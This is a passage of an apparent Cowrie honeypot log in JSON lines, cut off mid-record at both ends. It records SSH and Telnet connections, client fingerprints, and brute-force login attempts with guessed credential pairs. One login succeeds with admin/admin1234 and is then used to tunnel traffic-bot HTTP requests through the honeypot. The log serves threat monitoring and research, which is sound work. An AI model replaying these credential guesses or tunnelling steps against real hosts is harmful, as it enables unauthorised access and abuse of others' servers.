openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:28.732831Z","src_ip":"91.92.40.36","session":"cd60cdb31e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"4321","message":"login attempt [master/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:30.373606Z","src_ip":"91.92.40.36","session":"527b31202263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:34.013391Z","src_ip":"91.92.40.36","session":"527b31202263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a36ab9f31f7","protocol":"ssh","message":"New connection: 91.92.40.36:60428 (159.203.135.109:22) [session: 7a36ab9f31f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:34.871735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:36.490223Z","src_ip":"91.92.40.36","session":"7a36ab9f31f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:36.493203Z","src_ip":"91.92.40.36","session":"7a36ab9f31f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"54321","message":"login attempt [hadoop/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:37.184796Z","src_ip":"91.92.40.36","session":"cd60cdb31e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58052,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46169cc38f1","protocol":"telnet","message":"New connection: 107.6.151.170:58052 (159.203.135.109:23) [session: e46169cc38f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:37.936570Z"}
{"eventid":"cowrie.session.closed","duration":0.005164623260498047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:37.941594Z","src_ip":"107.6.151.170","session":"e46169cc38f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48124623298645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:39.804271Z","src_ip":"172.81.62.90","session":"f055110f2c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47430,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c471ef77c5a","protocol":"ssh","message":"New connection: 91.92.40.36:47430 (159.203.135.109:22) [session: 2c471ef77c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:40.406818Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:40.682003Z","src_ip":"91.92.40.36","session":"cd60cdb31e9c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:42.511806Z","src_ip":"91.92.40.36","session":"2c471ef77c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:42.516355Z","src_ip":"91.92.40.36","session":"2c471ef77c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1234567","message":"login attempt [guest/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:45.771460Z","src_ip":"91.92.40.36","session":"7a36ab9f31f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9092f23d9f","protocol":"telnet","message":"New connection: 128.199.8.54:39802 (159.203.135.109:23) [session: 4d9092f23d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:47.559075Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29428,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f018312594e","protocol":"ssh","message":"New connection: 91.92.40.36:29428 (159.203.135.109:22) [session: 4f018312594e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:47.888526Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:49.317177Z","src_ip":"91.92.40.36","session":"7a36ab9f31f7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:50.253155Z","src_ip":"91.92.40.36","session":"4f018312594e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:50.256362Z","src_ip":"91.92.40.36","session":"4f018312594e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest1","message":"login attempt [ftptest/ftptest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:53.697921Z","src_ip":"91.92.40.36","session":"2c471ef77c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21926,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbfbac39400e","protocol":"ssh","message":"New connection: 91.92.40.36:21926 (159.203.135.109:22) [session: cbfbac39400e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:56.309743Z"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:56.804585Z","src_ip":"91.92.40.36","session":"2c471ef77c5a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:58.190186Z","src_ip":"91.92.40.36","session":"cbfbac39400e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:58.193254Z","src_ip":"91.92.40.36","session":"cbfbac39400e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":36556,"dst_ip":"159.203.135.109","dst_port":22,"session":"b42617d0561b","protocol":"ssh","message":"New connection: 41.90.100.147:36556 (159.203.135.109:22) [session: b42617d0561b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:59.674615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:59.679332Z","src_ip":"41.90.100.147","session":"b42617d0561b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"billing","password":"billing","message":"login attempt [billing/billing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:59.781043Z","src_ip":"91.92.40.36","session":"4f018312594e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:59.897230Z","src_ip":"41.90.100.147","session":"b42617d0561b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc#EDC3edc","message":"login attempt [root/3edc#EDC3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:00.838516Z","src_ip":"41.90.100.147","session":"b42617d0561b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52921,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe9588c75ce","protocol":"ssh","message":"New connection: 113.164.152.20:52921 (10.17.0.5:22) [session: 2fe9588c75ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:01.853706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:01.858610Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:02.057648Z","src_ip":"41.90.100.147","session":"b42617d0561b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:02.144533Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:02.387579Z","src_ip":"91.92.40.36","session":"4f018312594e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:04.450691Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21972,"dst_ip":"159.203.135.109","dst_port":22,"session":"76743686ca8e","protocol":"ssh","message":"New connection: 91.92.40.36:21972 (159.203.135.109:22) [session: 76743686ca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:04.522500Z"}
{"eventid":"cowrie.login.failed","username":"butterfly","password":"butterfly","message":"login attempt [butterfly/butterfly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:04.598951Z","src_ip":"91.92.40.36","session":"cbfbac39400e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.394677Z","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.603807Z","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.659973Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aDF2e0tUK1VwVihSWWI4bQ%3D%3DE8yTXLmrtN5j1zKP9GGGCk70W7m1xfan8QqI9eLT5Ek9PaRpyhi4fb51YVS%2F%2FE8eQvoQqPkD6kyJhu3rUmKeWPKBD0p6jhLMnaITqeQD%2BTMR1mn5vBmRvGzd2EF9yXFDOFnX7G8gJ0GOWzofFNzwxMF%2FduJQkGixiki%2Fe5Ujj3%2BYYLNYGisdaIuBGh2slPbCe4%2F3IxiiqPy6ilbIEsm7a%2FqwYzlmmCM1IxWUw2T3%2FS27Iix%2Fa6YYPqe7WUxoqNMUcN97ITHjeU4d9T4aB1%2BuAhBYPsy2W4sjgEj1euhKkwF1j6BpFJx%2B1PeMyRkGAjrrs5Er3zipeBHFBkOWyAiKjgJnn2MB17Fk0nuh5rMKRUafUWVAq7W14pqMVonCnxY%2BQl1HBQONpLnl0ap3hPYZDfq0d9XgcZMCdrTGgjhKrPnmKOZLVRrAd%2FUgV4qODiV73TzSECYFo64Ai1spxe%2BP6vp9iy0N9G3HBFXIMdp8rNWiySBpWeICM%2BkhGv9EN9pgnFEWva6bpvYsdN%2F23xDjmpmT11M%2BuHbYCMBEC5eiLouyQk1FZ%2FkbiL5py99TVqKkUFeNRoqGAvWO1SkpJNviAVreIOzVgIW6EOOlcvPDh1ujA%2BlmUv4xlX8gZ0LahwZA8yyvzjmyexQAUUtzeNCeGPxdpWTLFvqXuYYqw%2BEbejJOD%2FU6B6svnHzJqD2kGW4As7EhAAgfZbOluxuQASVk0tFmOuZGOqq8QgFxcn7g5075GQrlFLuSaWZjyb2iDDFA%2FFAHK54tUu9QjFgidNPqgqTN%2B9k7PvtFobZ%2BFIRzNC48pzXdmYMuvOSBAplxoT2sP9fODdtGly%2B3lgbSHJr68raV8v06yUgrs46s2T60FqQavZoB8CMaXwiLVln8dR%2BGiUrK2LCXxDDO44lqvsvknYd3cqGMcEgq2wF6DeP8o4NDnq6L4%2FdEGXmxPWaWF7l2npfduWKBbTYHOiH5iuOEfpWk4pMJPyTWNiBX%2BDSZoMQ59qAECx5NQYTrfnRH6bY4Kptq64C6UAegakPDwA1RffHeOw48gqYXoGmaFHPUJ%2F8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 